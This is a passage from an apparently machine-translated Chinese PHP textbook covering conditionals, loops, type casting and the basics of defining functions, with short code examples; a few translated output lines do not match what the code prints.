表 4-5. 所有可能的 PHP 逻辑表达式

输入 运算符和结果
a b AND
TRUE TRUE TRUE
TRUE FALSE FALSE
FALSE TRUE FALSE
FALSE FALSE FALSE

条件语句

条件语句 改变程序流。它们使您能够对某些事物提出问题,并以不同的方式响应您得到的答案。条件语句是创建动态网页的核心(使用 PHP 的初衷),因为它们使得每次查看页面时都可以轻松地呈现不同的输出。

在本节中,我将介绍三种基本的条件语句:if语句、switch语句和?运算符。此外,循环条件语句(我们马上会讲到)会反复执行代码,直到满足条件为止。

if语句

想象一下程序流就像是你驾驶沿着的一条单车道公路。它基本上是一条笔直的路线,但偶尔会遇到各种指示牌,告诉你应该往哪个方向走。

对于if语句,你可以想象遇到一个绕行标志,如果某个条件为TRUE,你必须按照绕行标志的指示行驶。如果是这样,你会驶出去,沿着绕行路线直到回到主路,然后继续沿着原来的方向前进。或者,如果条件不为TRUE,你将忽略绕行路线,继续驾驶(见图 4-1)。

程序流就像是一条单车道公路

图 4-1。程序流就像是一条单车道公路

if条件的内容可以是任何有效的 PHP 表达式,包括相等测试、比较表达式、对0NULL的测试,甚至函数(无论是内置函数还是你自己编写的函数)。

if条件为TRUE时要执行的操作通常放在大括号内({ })。如果只有一个语句要执行,可以忽略大括号,但如果始终使用大括号,将避免因缺少大括号而导致的难以追踪的错误,例如当您向条件添加额外的行时,该行不会被评估。

注意

多年来,“goto fail”漏洞一直困扰着苹果产品中安全套接层(SSL)代码,因为一位程序员忘记在if语句周围加上大括号,导致有时函数会错误地报告成功连接,而实际上并非总是如此。这使得恶意攻击者能够让一个安全证书被接受,而本应被拒绝。如果有疑问,请在你的if语句周围加上大括号。

然而,出于简洁和清晰的考虑,本书中的许多示例忽略了这个建议,并省略了单语句的大括号。

在示例 4-19 中,想象一下现在是月底,你所有的账单都已经支付,所以你正在进行一些银行账户的维护工作。

示例 4-19。带有大括号的if语句
<?php
  if ($bank_balance < 100)
  {
    $money         = 1000;
    $bank_balance += $money;
  }
?>

在本例中,您正在检查您的余额,以查看是否少于$100(或您的货币单位)。如果是,则支付自己$1,000,然后将其添加到余额中。(如果赚钱那么简单!)

如果银行余额为$100 或更高,则忽略条件语句,程序流将跳到下一行(未显示)。

在本书中,开放的花括号通常从新行开始。有些人喜欢将第一个花括号放在条件表达式的右侧;其他人则从新行开始。无论哪种方式都可以,因为 PHP 允许您按照自己的方式设置空白字符(空格、换行和制表符)。但是,如果您每个条件级别都用制表符缩进,您会发现代码更易于阅读和调试。

else语句

有时,当条件不为TRUE时,您可能不希望立即继续主程序代码,而是希望执行其他操作。这就是else语句的用处。借助它,您可以在公路上设置第二个分支,就像图 4-2 中那样。

使用if...else语句,如果条件为TRUE,则执行第一个条件语句。但如果为FALSE,则执行第二个条件语句。两者之一 必须 被执行。在任何情况下都不能两者都执行(或都不执行)。示例 4-20 展示了使用if...else结构。

现在的公路有一个 if 分支和一个 else 分支

图 4-2. 现在的公路有一个if分支和一个else分支
示例 4-20. 使用花括号的if...else语句
<?php
  if ($bank_balance < 100)
  {
    $money         = 1000;
    $bank_balance += $money;
  }
  else
  {
    $savings      += 50;
    $bank_balance -= 50;
  }
?>

在这个例子中,如果您确定银行账户中有$100 或更多的金额,则执行else语句,将一部分资金存入您的储蓄账户。

if语句一样,如果您的else只有一个条件语句,可以选择省略花括号。(但建议始终使用花括号。首先,它们使代码更易于理解。其次,它们让您可以轻松地在以后的分支中添加更多语句。)

elseif语句

有时您希望根据一系列条件发生不同的可能性。您可以使用elseif语句来实现这一点。正如您可能想象的那样,它类似于else语句,只是您在条件代码之前放置了进一步的条件表达式。在示例 4-21 中,您可以看到完整的if...elseif...else结构。

示例 4-21. 使用花括号的if...elseif...else语句
<?php
  if ($bank_balance < 100)
  {
    $money         = 1000;
    $bank_balance += $money;
  }
  elseif ($bank_balance > 200)
  {
    $savings      += 100;
    $bank_balance -= 100;
  }
  else
  {
    $savings      += 50;
    $bank_balance -= 50;
  }
?>

在本例中,在ifelse语句之间插入了一个elseif语句。它检查您的银行余额是否超过$200,并且如果是,则决定您本月可以存下$100。

虽然我可能有些过度使用这个比喻,但你可以把它想象成一个多路的绕道 (见 图 4-3)。

带有 if、elseif 和 else 的公路

图 4-3. 带有 ifelseifelse 的公路
注意

else 语句关闭 if...elseif...elseif...else 语句。如果不需要最终的 else,可以省略它,但不能在 elseif 之前留有 else;在 if 语句之前也不能有 elseif

你可以有任意多个 elseif 语句。但是随着 elseif 语句的数量增加,如果符合你的需求,可能更适合考虑使用 switch 语句。接下来我们将详细讨论这一点。

switch 语句

switch 语句在一个变量或表达式的结果可能有多个值,并且每个值应该触发不同活动的情况下非常有用。

例如,考虑一个由 PHP 驱动的菜单系统,根据用户的请求向主菜单代码传递单个字符串。假设选项是主页、关于、新闻、登录和链接,我们将变量 $page 设置为其中一个,根据用户的输入。

如果我们使用 if...elseif...else 来编写这段代码,可能会像 示例 4-22。

示例 4-22. 多行 if...elseif...else 语句
<?php
  if     ($page == "Home")  echo "You selected Home";
  elseif ($page == "About") echo "You selected About";
  elseif ($page == "News")  echo "You selected News";
  elseif ($page == "Login") echo "You selected Login";
  elseif ($page == "Links") echo "You selected Links";
  else                      echo "Unrecognized selection";
?>

如果我们使用 switch 语句,代码可能看起来像 示例 4-23。

示例 4-23. switch 语句
<?php
  switch ($page)
  {
    case "Home":
        echo "You selected Home";
        break;
    case "About":
        echo "You selected About";
        break;
    case "News":
        echo "You selected News";
        break;
    case "Login":
        echo "You selected Login";
        break;
    case "Links":
        echo "You selected Links";
        break;
  }
?>

正如你所见,$page 只在 switch 语句的开头提到。此后,case 命令检查是否匹配。一旦匹配,执行匹配的条件语句。当然,在实际程序中,你会在这里编写代码来显示或跳转到一个页面,而不仅仅是告诉用户选择了什么。

注意

switch 语句中,你不使用花括号来定义 case 命令。相反,它们以冒号开头,并以 break 语句结束。整个 switch 语句中的所有 case 都包含在一对花括号中。

退出

如果你希望在 switch 语句中因为条件已满足而跳出,使用 break 命令。这个命令告诉 PHP 退出 switch 并跳转到下一条语句。

如果你在 示例 4-23 中省略了 break 命令,并且 Home 的情况被评估为 TRUE,那么所有五个情况都会被执行。或者,如果 $page 的值是 News,那么之后的所有 case 命令都会被执行。这是有意为之的,允许一些高级编程,但通常你应该记住每次一组 case 条件执行完毕时都要发出 break 命令。事实上,忽略 break 语句是一个常见的错误。

默认操作

switch语句中的典型要求是在未满足任何case条件时返回默认操作。例如,在示例 4-23 中的菜单代码中,你可以在最后一个大括号之前立即添加示例 4-24 中的代码。

示例 4-24. 添加到示例 4-23 的默认语句
default:
    echo "Unrecognized selection";
    break;

这复制了示例 4-22 中else语句的效果。

尽管此处不需要break命令,因为默认是最终的子语句,并且程序流会自动继续到结束大括号,但如果你决定将default语句放在较高位置,那么肯定需要一个break命令来防止程序流陷入后续语句。通常,最安全的做法是始终包含break命令。

替代语法

如果你愿意,可以在switch语句中用单个冒号替换第一个大括号,并用endswitch命令替换最后一个大括号,就像示例 4-25 中所示。然而,这种方法并不常用,仅在你在第三方代码中遇到时才会提到。

示例 4-25. 备选switch语句语法
<?php
  switch ($page):
    case "Home":
        echo "You selected Home";
        break;

    // etc

    case "Links":
        echo "You selected Links";
        break;
  endswitch;
?>

?(或三元)操作符

避免使用ifelse语句的冗长方法之一是使用更紧凑的三元操作符?,这在使用中有些不同,因为它需要三个操作数而不是通常的两个。

我们在第三章中简要提到了这一点,讨论了printecho语句之间的区别,作为与print良好配合但不与echo良好配合的操作符类型的示例。

?操作符接受一个必须评估的表达式,以及两个要执行的语句:一个是当表达式评估为TRUE时,另一个是当它为FALSE时。示例 4-26 展示了我们可能会用于向汽车数字仪表板写入有关燃油水平警告的代码。

示例 4-26. 使用?操作符
<?php
  echo $fuel <= 1 ? "Fill tank now" : "There's enough fuel";
?>

在此语句中,如果燃料少于或等于一加仑(换句话说,$fuel设置为1或更少),则将字符串Fill tank now返回给前面的echo语句。否则,将返回字符串There's enough fuel。你也可以将?语句返回的值赋给一个变量(参见示例 4-27)。

示例 4-27. 将?条件结果赋给变量
<?php
  $enough = $fuel <= 1 ? FALSE : TRUE;
?>

在这里,只有当燃料超过一加仑时,$enough才会被赋值为TRUE;否则,它将被赋值为FALSE

如果您觉得?运算符令人困惑,可以继续使用if语句,但您应该熟悉这个运算符,因为您会在其他人的代码中看到它。它可能很难阅读,因为它经常混合多个相同变量的出现。例如,以下代码是相当流行的:

$saved = $saved >= $new ? $saved : $new;

如果仔细拆解,您可以弄清楚此代码的作用:

$saved =                // Set the value of $saved to...
        $saved >= $new  // Check $saved against $new
    ?                   // Yes, comparison is true...
        $saved          // ... so assign the current value of $saved
    :                   // No, comparison is false...
        $new;           // ... so assign the value of $new

这是在程序进行时跟踪所见到的最大值的简洁方法。您将最大值保存在$saved中,并在每次获得新值时将其与$new进行比较。熟悉?运算符的程序员发现它比用于这样的短比较的if语句更为方便。当不用于编写紧凑的代码时,它通常用于在行内做出一些决策,例如在将变量设置为函数参数之前测试是否已设置。

循环

计算机的一大优点是它们可以快速且不知疲倦地重复计算任务。通常情况下,您可能希望程序重复执行相同的代码序列,直到发生某些事件,如用户输入值或达到自然结束。PHP 的循环结构为实现这一点提供了完美的方式。

要想象这是如何工作的,请看图 4-4。这与用于说明if语句的公路隐喻大致相同,只是这条路也有一个循环部分,一旦车辆进入其中,只有在正确的程序条件下才能退出。

将循环想象为程序高速公路布局

图 4-4. 将循环想象为程序高速公路布局的示意图

while循环

让我们将示例 4-26 中的数字汽车仪表板转变为一个循环,以在驾驶时持续检查燃油水平,使用一个while循环(示例 4-28)。

示例 4-28. 一个while循环
<?php
  $fuel = 10;

  while ($fuel > 1)
  {
    // Keep driving...
    echo "There's enough fuel";
  }
?>

实际上,您可能更喜欢保持绿灯亮起,而不是输出文本,但关键是您希望对燃油水平做出的任何正面指示都放在while循环内部。顺便说一句,如果您尝试这个示例,注意它会持续打印字符串,直到您在浏览器中单击停止按钮。

注意

if语句一样,您会注意到while语句内部需要用花括号来容纳语句,除非只有一个语句。

查看另一个显示 12 倍表的while循环的示例,请参阅示例 4-29。

示例 4-29. 打印 12 倍表的while循环
<?php
  $count = 1;

  while ($count <= 12)
  {
    echo "$count times 12 is " . $count * 12 . "<br>";
    ++$count;
  }
?>

在这里,变量$count被初始化为1的值,然后开始一个while循环,其比较表达式为$count <= 12。此循环将继续执行,直到变量大于 12。从这段代码输出如下:

1 times 12 is 12
2 times 12 is 24
3 times 12 is 36
*and so on...*

在循环内部,打印一个字符串以及$count乘以 12 的值。为了整洁起见,接下来是一个<br>标签,强制换行。然后递增$count,准备最后的大括号,告诉 PHP 回到循环的起始处。

此时,再次测试$count是否大于 12。它不是,但现在它的值是2,再绕过循环 11 次后,它的值将变为13。当发生这种情况时,跳过while循环内的代码,执行转到循环后的代码,本例中即为程序的末尾。

如果没有++$count语句(同样也可以是$count++),这个循环就像本节中的第一个循环。它永远不会结束,只会一遍又一遍地打印1 * 12的结果。

但是有一种更整洁的方式可以编写这个循环,我想你会喜欢。看看示例 4-30。

示例 4-30。示例 4-29 的简化版本
<?php
  $count = 0;

  while (++$count <= 12)
    echo "$count times 12 is " . $count * 12 . "<br>";
?>

在这个例子中,可以将++$count语句从while循环内的语句移动到循环的条件表达式中。现在发生的是,PHP 在每次迭代循环开始时遇到变量$count,注意到它前面有递增操作符,首先递增变量,然后再将其与值12进行比较。因此,你可以看到现在必须将$count初始化为0,而不是1,因为一进入循环就会递增。如果保持初始化为1,则只会输出 2 到 12 之间的结果。

do...while 循环

while循环的轻微变化是do...while循环,当您希望一段代码至少执行一次并在此后进行条件检查时使用。示例 4-31 展示了使用这种循环的修改版本的 12 乘法表代码。

示例 4-31。用于打印 12 乘法表的do...while循环
<?php
  $count = 1;
  do
    echo "$count times 12 is " . $count * 12 . "<br>";
  while (++$count <= 12);
?>

注意,我们又回到了将$count初始化为1(而不是0)的地方,因为在我们有机会递增变量之前,循环的echo语句就已执行了。尽管如此,代码看起来还是相当相似的。

当然,如果在do...while循环内有多个语句,记得使用大括号,就像示例 4-32 中那样。

示例 4-32。扩展示例 4-31 以使用大括号
<?php
  $count = 1;

  do {
    echo "$count times 12 is " . $count * 12;
    echo "<br>";
  } while (++$count <= 12);
?>

for 循环

最后一种循环语句是for循环,也是最强大的,因为它结合了在进入循环时设置变量、在迭代循环时测试条件以及在每次迭代后修改变量的能力。

示例 4-33 展示了如何使用for循环编写乘法表程序。

示例 4-33. 输出 12 乘法表的for循环
<?php
  for ($count = 1 ; $count <= 12 ; ++$count)
    echo "$count times 12 is " . $count * 12 . "<br>";
?>

看看代码是如何被简化为一个包含单个条件语句的for语句?这里发生了什么。每个for语句都有三个参数:

  • 一个初始化表达式

  • 一个条件表达式

  • 一个修改表达式

这些用分号分隔开,像这样:for (expr1 ; expr2 ; expr3)。在循环的第一次迭代开始时,初始化表达式被执行。在乘法表代码中,$count被初始化为值1。然后,在每次循环中,条件表达式(在本例中是$count <= 12)被测试,只有在条件为TRUE时才进入循环。最后,在每次迭代结束时,修改表达式被执行。在乘法表代码中,变量$count被递增。

所有这些结构都清晰地消除了将循环控制放置在其主体内的要求,仅仅为你希望循环执行的语句保留空间。

如果for循环包含多个语句,记得要使用大括号,就像示例 4-34 中那样。

示例 4-34. 示例 4-33 中的for循环,加入了大括号
<?php
  for ($count = 1 ; $count <= 12 ; ++$count)
  {
    echo "$count times 12 is " . $count * 12;
    echo "<br>";
  }
?>

让我们比较何时使用for循环和while循环。for循环是专门设计用于一个在规律性变化的单一值上。通常情况下,你有一个增量值,例如你得到一个用户选择列表并想逐个处理每个选择。但你可以随意变换这个变量。for语句的更复杂形式甚至允许在每个参数中执行多个操作:

for ($i = 1, $j = 1 ; $i + $j < 10 ; $i++ , $j++)
{
  // ...
}

尽管这很复杂且不建议首次使用者使用。关键是要区分逗号和分号。这三个参数必须用分号分隔。在每个参数内部,多个语句可以用逗号分隔。因此,在前面的示例中,第一个和第三个参数每个包含两个语句:

$i = 1, $j = 1  // Initialize $i and $j
$i + $j < 10    // Terminating condition
$i++ , $j++     // Modify $i and $j at the end of each iteration

从这个例子中要理解的主要内容是,你必须使用分号来分隔这三个参数部分,而不是逗号(逗号只能用来分隔参数部分内的语句)。

那么,什么情况下使用while语句比for语句更合适?当你的条件不依赖于变量的简单、规律性变化时。例如,如果你想要检查某些特殊输入或错误,并在其发生时结束循环,就使用while语句。

退出循环

就像你看到如何跳出switch语句一样,你也可以使用相同的break命令跳出for循环(或任何循环)。当例如其中一个语句返回错误且循环无法继续安全执行时,这一步就是必要的。可能出现这种情况的一个案例是写入文件返回错误,可能是因为磁盘已满(参见示例 4-35)。

示例 4-35. 使用for循环编写文件并进行错误处理
<?php
  $fp = fopen("text.txt", 'wb');

  for ($j = 0 ; $j < 100 ; ++$j)
  {
    $written = fwrite($fp, "data");

    if ($written == FALSE) break;
  }

  fclose($fp);
?>

这是迄今为止你见过的最复杂的代码片段,但你已经准备好了。我们将在第七章中探讨文件处理命令,但现在你只需要知道,第一行以二进制模式打开文件text.txt进行写入,并将文件指针返回到变量$fp中,稍后用于引用打开的文件。

然后,循环迭代 100 次(从 0 到 99),将字符串data写入文件。每次写入后,变量$writtenfwrite函数赋值,表示正确写入的字符数。但如果发生错误,fwrite函数则赋值为FALSE

fwrite的行为使得代码可以轻松检查变量$written是否设置为FALSE,如果是,则跳出循环,并进入关闭文件的下一条语句。

如果你希望改进代码,可以简化这行代码:

if ($written == FALSE) break;

使用NOT运算符,像这样:

if (!$written) break;

实际上,内部循环语句对可以缩短为单个语句:

if (!fwrite($fp, "data")) break;

换句话说,你可以消除$written变量,因为它只是用来检查fwrite返回的值。你可以直接测试返回值而不是用$written变量。

break命令比你想象的更加强大,因为如果你的代码嵌套超过一层需要跳出,你可以在break命令后跟一个数字来指示跳出多少层:

break 2;

continue 语句

continue语句有点像break语句,不过它指示 PHP 停止处理当前循环的迭代,并直接进入下一次迭代。因此,PHP 不会跳出整个循环,而是仅退出当前迭代。

在某些情况下,这种方法非常有用,例如你知道在当前循环中继续执行没有意义,并且你想要节省处理器周期,或者通过直接进入循环的下一次迭代来防止发生错误。在示例 4-36 中,使用continue语句可以防止当变量$j的值为0时发生除以零的错误。

示例 4-36. 使用continue捕获除零错误
<?php
  $j = 11;

  while ($j > -10)
  {
    $j--;

    if ($j == 0) continue;

    echo (10 / $j) . "<br>";
  }
?>

对于 $j10-10 之间的所有值(0 除外),计算 10 除以 $j 的结果会显示出来。但是当 $j0 时,会执行 continue 语句,并立即跳到循环的下一个迭代。

隐式和显式转换

PHP 是一种弱类型语言,允许你在使用变量时简单地声明其类型。它还会根据需要自动将值从一种类型转换为另一种类型。这称为隐式转换

然而,有时 PHP 的隐式转换可能不是你想要的。在 示例 4-37 中,请注意除法的输入是整数。默认情况下,PHP 将输出转换为浮点数,以便提供最精确的值——4.66 循环。

示例 4-37. 这个表达式返回一个浮点数
<?php
  $a = 56;
  $b = 12;
  $c = $a / $b;

  echo $c;
?>

但是如果我们希望 $c 是一个整数呢?我们可以通过各种方式来实现这一点,其中一种方法是使用整数转换类型 (int) 强制将 $a / $b 的结果转换为整数值,就像这样:

$c = (int) ($a / $b);

这称为显式转换。请注意,为了确保整个表达式的值被转换为整数,我们将表达式置于括号中。否则,只有变量 $a 会被转换为整数,这将是毫无意义的练习,因为除以 $b 仍将返回一个浮点数。

您可以将变量和文字显式转换为 表 4-6 中所示的类型。

表 4-6. PHP 的类型转换

类型转换 描述
(int) (integer) 通过舍弃小数部分转换为整数。
(bool) (boolean) 转换为布尔值。
(float) (double) (real) 转换为浮点数。
(string) 转换为字符串。
(array) 转换为数组。
(object) 转换为对象。
注意

通常可以通过调用 PHP 的内置函数避免使用转换。例如,要获取整数值,可以使用 intval 函数。正如本书中的其他部分一样,本节主要是为了帮助您理解可能偶尔遇到的第三方代码。

PHP 动态链接

因为 PHP 是一种编程语言,其输出对于每个用户可能完全不同,因此一个完整的网站可以仅由单个 PHP 网页运行。每当用户点击某些内容时,细节可以发送回同一个网页,根据各种 cookie 和/或其他会话详细信息决定下一步该执行什么操作。

尽管可以通过这种方式构建整个网站,但并不推荐,因为您的源代码会越来越庞大,并开始变得难以管理,因为它必须考虑用户可能采取的每一个可能的操作。

相反,将您的网站开发分成不同的部分更加明智。例如,一个明确的过程是注册网站,以及所有这些操作的检查以验证电子邮件地址,确定用户名是否已被使用等等。

第二个模块可能是登录用户后将其传递到网站的主要部分之前的模块。然后您可能有一个具有用户留言功能的消息模块,一个包含链接和有用信息的模块,另一个允许上传图片的模块等等。

只要您已经通过 cookie 或会话变量创建了跟踪用户在网站上行动的方式(我们将在后面的章节中更详细地讨论这两者),您可以将您的网站分成 PHP 代码的合理部分,每个部分都是自包含的,因此在未来开发每个新功能和维护旧功能时会变得更加轻松。如果您有一个团队,不同的人可以分别工作在不同的模块上,这样每个程序员只需彻底了解一个部分。

动态链接实例

如今 Web 上更受欢迎的基于 PHP 的应用之一是内容管理系统(CMS)WordPress(见图 4-5)。您可能没有意识到,但每个主要部分都有自己的主 PHP 文件,并且一整套通用的共享函数已放置在根据需要由主 PHP 页面包含的单独文件中。

图 4-5. WordPress CMS

整个平台通过幕后的会话追踪来紧密连接,以便在从一个子部分过渡到另一个子部分时几乎感觉不到。因此,希望调整 WordPress 的 Web 开发人员可以轻松找到他们需要的特定文件,修改它,测试和调试它,而不必去破坏程序的不相关部分。下次您使用 WordPress 时,请关注您浏览器的地址栏,您会注意到它使用的一些不同的 PHP 文件。

本章内容涵盖了相当多的内容,到目前为止,您应该能够编写自己的小型 PHP 程序。但在开始下一章关于函数和对象之前,您可能希望通过回答以下问题来测试您的新知识。

问题

  1. TRUEFALSE分别表示什么实际底层值?

  2. 什么是最简单的两种表达形式?

  3. 什么是一元、二元和三元运算符的区别?

  4. 强制自己操作符优先级的最佳方法是什么?

  5. 运算符结合性是什么意思?

  6. 何时使用===(身份)运算符?

  7. 命名三种条件语句类型。

  8. 您可以使用哪个命令来跳过当前循环迭代并继续下一个迭代?

  9. 为什么for循环比while循环更强大?

  10. ifwhile语句如何解释不同数据类型的条件表达式?

请查看“第四章答案”,在附录 A 中可以找到这些问题的答案。

第五章:PHP 函数和对象

任何编程语言的基本要求包括存储数据的地方,指导程序流的方法,以及一些细节,如表达式评估、文件管理和文本输出。PHP 具备所有这些功能,还有像 elseelseif 这样的工具,使生活更轻松。但即使在你的工具包中拥有所有这些,编程仍然可能笨拙和乏味,特别是在每次需要它们时必须重新编写非常相似的代码片段时。

函数和对象应运而生。正如你可能猜到的那样,函数是执行特定功能的一组语句,还可以选择性地返回一个值。当你需要使用多次的一段代码时,你可以将其放入一个函数中,并在需要时通过函数名调用该函数。

函数比连续的内联代码有很多优势。例如:

  • 减少输入量

  • 减少语法和其他编程错误

  • 减少程序文件的加载时间

  • 减少执行时间,因为每个函数只编译一次,无论调用多少次

  • 接受参数,因此可以用于一般以及特定的情况

对象进一步推进了这个概念。对象将一个或多个函数及其使用的数据合并到一个称为的单一结构中。

在本章中,你将学习如何使用函数,从定义和调用到来回传递参数。掌握这些知识后,你将开始创建函数,并在自己的对象中使用它们(在这里它们被称为方法)。

注意

现在使用低于 PHP 5.4 的任何版本已经非常不常见(而且绝对不推荐)。因此,本章假设您将使用此版本作为最低版本。一般建议使用版本 5.6,或者新版本 7.0 或 7.1(没有版本 6)。您可以从 AMPPS 控制面板中选择其中任何一个,如第二章所述。

PHP 函数

PHP 提供了数百个内置函数,使其成为一个非常丰富的语言。要使用函数,只需通过名称调用它。例如,你可以在这里看到 date 函数的运行效果:

echo date("l"); // Displays the day of the week

括号告诉 PHP 你正在引用一个函数。否则,它会认为你在引用一个常量或变量。

函数可以接受任意数量的参数,包括零个。例如,如下所示的 phpinfo 显示有关当前 PHP 安装的大量信息,并且不需要参数:

phpinfo();

调用该函数的结果可以在图 5-1 中看到。

图 5-1. PHP 内置函数 phpinfo 的输出
警告

phpinfo 函数非常有用,可以获取有关当前 PHP 安装的信息,但这些信息对潜在的黑客也可能非常有用。因此,在任何 Web 可用的代码中绝不要留下对此函数的调用。

一些使用一个或多个参数的内置函数出现在示例 5-1中。

示例 5-1. 三个字符串函数
<?php
  echo strrev(" .dlrow olleH"); // Reverse string
  echo str_repeat("Hip ", 2);   // Repeat string
  echo strtoupper("hooray!");   // String to uppercase
?>

此示例使用三个字符串函数输出以下文本:

Hello world. Hip Hip HOORAY!

正如您所见,strrev函数颠倒了字符串中字符的顺序,str_repeat重复了字符串"Hip "两次(根据第二个参数的要求),而strtoupper"hooray!"转换为大写。

定义一个函数

函数的一般语法如下:

function *`function_name`*([*`parameter`* [, ...]])
{
  // *`Statements`*
}

语法的第一行指示如下:

  • 定义以function开头。

  • 名称紧随其后,必须以字母或下划线开头,后跟任意数量的字母、数字或下划线。

  • 括号是必需的。

  • 一个或多个用逗号分隔的参数是可选的(如方括号所示)。

函数名称不区分大小写,所以以下所有字符串都可以引用print函数:PRINTPrintPrInT

开放大括号开始执行调用函数时会执行的语句;匹配的大括号必须结束它。这些语句可以包括一个或多个return语句,它们会强制函数停止执行并返回到调用代码。如果return语句附有值,调用代码可以检索它,我们将在接下来看到。

返回一个值

让我们看一个简单的函数,将一个人的全名转换为小写,然后将每个部分的第一个字母大写。

我们已经在示例 5-1中看到了 PHP 内置的strtoupper函数的示例。对于我们当前的函数,我们将使用它的对应函数,strtolower

$lowered = strtolower("aNY # of Letters and Punctuation you WANT");
echo $lowered;

此实验的输出如下:

any # of letters and punctuation you want

尽管我们不希望名字全部小写;我们希望将句子中每个部分的第一个字母大写。(对于这个示例,我们不打算处理 Mary-Ann 或 Jo-En-Lai 等细微情况。)幸运的是,PHP 还提供了一个ucfirst函数,可以将字符串的第一个字符设为大写:

$ucfixed = ucfirst("any # of letters and punctuation you want");
echo $ucfixed;

输出如下:

    Any # of letters and punctuation you want

现在我们可以进行第一步程序设计:将单词首字母大写,我们先调用strtolower函数将字符串转为小写,然后再调用ucfirst。这样做的方法是在ucfirst中嵌套调用strtolower。让我们看看为什么,因为理解代码评估顺序很重要。

假设你简单调用print函数:

print(5-8);

表达式5-8首先被评估,输出是–3。(如前一章所示,PHP 将结果转换为字符串以便显示。)如果表达式包含一个函数,那么该函数也将首先被评估:

print(abs(5-8));

PHP 在执行这个简短语句时做了几件事情:

  1. 评估5-8以生成–3

  2. 使用abs函数将–3转换为3

  3. 将结果转换为字符串并使用print函数输出它。

这一切都有效是因为 PHP 从内到外评估每个元素。当我们调用以下内容时,同样的过程正在进行:

ucfirst(strtolower("aNY # of Letters and Punctuation you WANT"))

PHP 将我们的字符串传递给strtolower,然后传递给ucfirst,生成的结果如我们分别使用这些函数时所见:

    任意数量的字母和标点符号

现在让我们定义一个函数(显示在示例 5-2 中),该函数接受三个名称并将每个名称转换为小写,并以大写字母开头。

示例 5-2. 清理完整姓名
<?php
  echo fix_names("WILLIAM", "henry", "gatES");

  function fix_names($n1, $n2, $n3)
  {
    $n1 = ucfirst(strtolower($n1));
    $n2 = ucfirst(strtolower($n2));
    $n3 = ucfirst(strtolower($n3));

    return $n1 . " " . $n2 . " " . $n3;
  }
?>

你可能会发现自己写这种类型的代码,因为用户经常不小心将 Caps Lock 键保持打开状态,错误地插入大写字母,甚至完全忘记大写。此示例的输出如下所示:

**  William Henry Gates**

返回一个数组

我们刚刚看到一个函数返回单个值。还有从函数中获取多个值的方法。

第一种方法是在一个数组中返回它们。正如你在第 3 章中看到的那样,数组就像一排粘在一起的变量。示例 5-3 展示了如何使用数组返回函数值。

示例 5-3. 在数组中返回多个值
<?php
  $names = fix_names("WILLIAM", "henry", "gatES");
  echo $names[0] . " " . $names[1] . " " . $names[2];

  function fix_names($n1, $n2, $n3)
  {
    $n1 = ucfirst(strtolower($n1));
    $n2 = ucfirst(strtolower($n2));
    $n3 = ucfirst(strtolower($n3));

    return array($n1, $n2, $n3);
  }
?>

这种方法的好处是保持所有三个名称分开,而不是将它们连接成一个字符串,因此你可以仅仅通过名字或姓氏来引用任何用户,而不必从返回的字符串中提取任何一个名称。

按引用传递参数

在 PHP 5.3 之前的版本中,你可以在调用函数时用&符号作为变量的前缀(例如,increment(&$myvar);)告诉解析器传递变量的引用,而不是变量的值。这使函数可以访问变量(允许将不同的值写回到它)。

注意

在 PHP 5.3 中弃用了调用时传递引用,而在 PHP 5.4 中移除了这个特性。因此,除了在旧版网站上,你不应该使用这个特性,即使在那里也建议重新编写传递引用的代码,因为在较新版本的 PHP 上会产生致命错误。

但是,在函数定义内部,你仍然可以通过引用访问参数。这个概念可能很难理解,所以让我们回到第 3 章中的火柴盒比喻。

想象一下,不是从火柴盒里拿出一张纸,读取它,将上面的内容复制到另一张纸上,把原始的放回去,然后将复印件传递给一个函数(呼!),你可以简单地将一根线连接到原始的纸上,并将其一端传递给函数(参见图 5-2)。

将引用想象成连接到变量的线程

图 5-2. 想象一个参考作为附加到变量的线索

现在函数可以跟随线索找到要访问的数据。这样可以避免为函数使用的变量创建副本的所有开销。更重要的是,函数现在可以修改变量的值。

这意味着您可以重写 示例 5-3,将所有参数的引用传递,然后函数可以直接修改这些参数(参见 示例 5-4)。

示例 5-4. 通过引用将值传递给函数
<?php
  $a1 = "WILLIAM";
  $a2 = "henry";
  $a3 = "gatES";

  echo $a1 . " " . $a2 . " " . $a3 . "<br>";
  fix_names($a1, $a2, $a3);
  echo $a1 . " " . $a2 . " " . $a3;

  function fix_names(&$n1, &$n2, &$n3)
  {
    $n1 = ucfirst(strtolower($n1));
    $n2 = ucfirst(strtolower($n2));
    $n3 = ucfirst(strtolower($n3));
  }
?>

与其直接将字符串传递给函数,不如先将它们分配给变量并打印出它们的“before”值。然后像以前一样调用函数,但在函数定义内部,您在每个参数前面放置一个 & 符号以按引用传递。

现在变量 $n1$n2$n3 都附加到通向 $a1$a2$a3 值的“线索”。换句话说,有一个值组,但允许两组变量名访问它们。

因此,函数 fix_names 只需要为 $n1$n2$n3 分配新值即可更新 $a1$a2$a3 的值。此代码的输出是:

    威廉·亨利·盖茨·威廉·亨利·盖茨

正如您所见,echo 语句只使用了 $a1$a2$a3 的值。

返回全局变量

给函数访问外部创建的不作为参数传递的变量更好的方法是通过在函数内部声明具有全局访问权限。在变量名后面跟着 global 关键字可以让代码的每个部分都完全访问它(参见 示例 5-5)。

示例 5-5. 在全局变量中返回值
<?php
  $a1 = "WILLIAM";
  $a2 = "henry";
  $a3 = "gatES";

  echo $a1 . " " . $a2 . " " . $a3 . "<br>";
  fix_names();
  echo $a1 . " " . $a2 . " " . $a3;

  function fix_names()
  {
    global $a1; $a1 = ucfirst(strtolower($a1));
    global $a2; $a2 = ucfirst(strtolower($a2));
    global $a3; $a3 = ucfirst(strtolower($a3));
  }
?>

现在您不必将参数传递给函数,函数也不必接受它们。一旦声明,这些变量保留全局访问权限,并且可以在程序的其余部分(包括其函数)中使用。

变量作用域回顾

快速回顾从 第三章 中所知的内容:

  • 局部变量 只能从定义它们的代码部分访问。如果它们在函数外部,则可以被所有函数外部的代码访问,包括类等。如果一个变量在函数内部,只有该函数可以访问该变量,并且当函数返回时其值会丢失。

  • 全局变量 可以从代码的所有部分访问,无论是在函数内部还是外部。

  • 静态变量 只能在声明它们的函数内部访问,但在多次调用之间保留它们的值。

包含和需要文件

在您使用 PHP 编程时,您可能会开始构建您认为将来会再次使用的函数库。您还可能开始使用其他程序员创建的库。

没有必要将这些函数复制粘贴到你的代码中。你可以将它们保存在单独的文件中,并使用命令将它们拉入。有两个命令可以执行此操作:includerequire

include 语句

使用 include,你可以告诉 PHP 获取一个特定文件并加载其所有内容。就好像你把包含的文件粘贴到当前文件的插入点一样。示例 5-6 展示了如何包含一个名为 library.php 的文件。

示例 5-6. 包含一个 PHP 文件
<?php
  include "library.php";

